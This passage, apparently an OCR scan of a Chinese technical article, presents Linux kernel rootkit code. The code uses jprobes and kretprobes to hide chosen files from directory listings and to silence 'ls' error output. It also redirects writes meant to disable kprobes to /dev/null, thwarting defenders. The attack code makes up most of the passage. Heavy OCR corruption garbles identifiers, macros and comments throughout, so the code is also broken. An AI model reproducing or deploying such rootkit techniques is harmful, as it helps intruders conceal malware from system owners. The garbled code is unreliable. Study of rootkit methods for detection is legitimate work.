struct pt_regs *saved_regs = &kcb->jprobe_saved_regs; printk^CERN_ERR ’’current sp %p does not match saved sp %pW’, stack_addr(regs), kcb->jprobe_saved_sp); printk^CERN_ERR "Saved registers for jprobe %ph' jp); show_registers(saved_regs); printkpCERN_ERR ffCurrent registers^ilf); show_registers(regs); BUG(); } *regs = kcb->jprobe_saved_regs; memcpy((kprobe_opcode_t *)(kcb->jprobe_saved_sp), kcb->jprobes_stack, MrN_STACK_SEE0ccb->jprobe_saved_sp)); preempt_enable_no_resched(); return 1; } return 0: } Jprobe后处理函数代码。 该代码主要恢复栈并重新允许CPU的抢占,也就是说probe的处理函数抢占禁用的环境 下运行的。 3. 使用jprobes/kretprobes实现文件隐藏 本文我们介绍一种涉及filldir64()中的dirent->d_name来实现的文件隐藏方法。 char *hidden_files[] = { #define fflDDEN_FIES_MAX 3 ”testl","test2", "test3" }; /*^取0七6将操作的全局数据*/ static struct global_dentry_info { unsigned long d_name_ptr; int bypass; } g_dentry; struct getdents_callback64 { struct linux_dirent64 _user * current_dir; struct linux_dirent64 _user * previous; int count; int error; }; /*」>0七6的处理函数,该函数保存4^拉->4_仙工6的值*/ static int j_fllldir64(void * _buf, const char * name, int namlen, loff_t oflFset, u64 ino, unsigned int d_type) { int found_hidden_file, i; struct linux_dirent64 _user *dirent; struct getdents_callback64 * buf= (struct getdents_callback64 *) _buf; dirent = buf->current_dir; int reclen = ROUND_UP64^AME_OFFSET (dirent) + namlen + 1); g_dentry.bypass = 0; found_hidden_file = 0; for (i = 0; i < fflDDEN_FIES_MAX; i++) if (strcmp(hidden_files[i], name) = 0) found_hidden_file++; if (! found_hidden_file) goto end; g_dentry.d_name_ptr = (unsigned long)(unsigned char *)dirent->d_name; g_dentry.bypas s++; //不显示该文件 end: jprobe_retum(); return 0; } static int filldir64_ret_handler(struct kretprobe_instance *ri, struct pt_regs *regs) { char *ptr, null = 0; if (g_dentry.bypass) { ptr = (char *)g_dentry.d_name_ptr; copy_to_user((char *)ptr, &null, sizeof(char)); 上述(续).文件隐藏代码。 该代码能够隐藏文件使得任何使用getdents64来查看文件程序无法显示隐藏文件。但是,GNU的’ Is’程序对于所有找到的d_name都会调用lstat64。如果有d_name以NULL 字节开头,那么181&164将返回错误“Cannet access : : file not found”。因此,如果 我们要隐藏3个文件,我们将看到3条错误信息。使用殳?^化来打补丁的一个主要不足在 于我们无法修改函数的返回值。我们能够做到最多只是设置一个kretprobe来修改该函数操 作过的数据。有时,我们可能可以通过一些间接的方法来修改返回值。但是我们并未找到任 何基于kprobes的方法来做到这点。然而,本文发现了一个不怎么完美的方法,通过对 sys_write 使用 jprobe 和 kretprobe 将 stderr 重定向到/dev/null。另外,除了修改 sys_write, 我们也可以将任何禁止kprobes 的企图重定向到/dev/null。超级用户可以直接 使用” echo 0 > /sys/kernel/debug/kprobes/enables99 来禁用 kprobes 接口。当我们安装我们的lkm的时候,传给insmod的一个参数是/sys的inode。图8是修改后的sys_write 代码: asmlinkage static int j_sys_write(int fd, void *buf, unsigned int len) { char *s = (char *)buf; char null = '0’; char devnull[] = "/dev/nuU"; struct file *flle; struct dentry *dentry = NULL; unsigned int ino; int ret; char comm[255]; stream_redirect — 0; get_task_comm(comm, current); if (strcmp(comm, ”ls") != 0) goto out; if (strstr(s, ’’cannot access") || strstr(s, "ls:")) { printk(??Going to redirectW?); goto redirect; } file = fget(fd); if (!file) goto out; dentry = dget(file->f_dentry); if (! dentry) goto out; ino = dentry->d_inode->i_ino; dput(dentry); ^)ut(file); if (ino != enabled_ino) goto out; redirect: stream_redirect++; mm_segment_t o_fs = get_fs(); set_fs0?RNEL3s); _ n_sys_close(fd); fd = n_sys_open(devnull, O RDWR, 0); set_fs(o_fs); global_fd = fd; jprobe_retum(); return 0; } static int sys_write_ret_handler(struct kretprobe_instance *ri, struct pt_regs *regs) { if (stream_redirect) { n_sys_close(global_fd); stream_redirect — 0;} return 0; } 图8.修改sys_write的代码。 我们关闭当前的文件描述符并打开一个新的文件且使用相同的文件描述符号。将stderr 重定向到/dev/null仅对当前进程有效。为了能够更深入地理解,我们来分析一下 do_sys_open (): |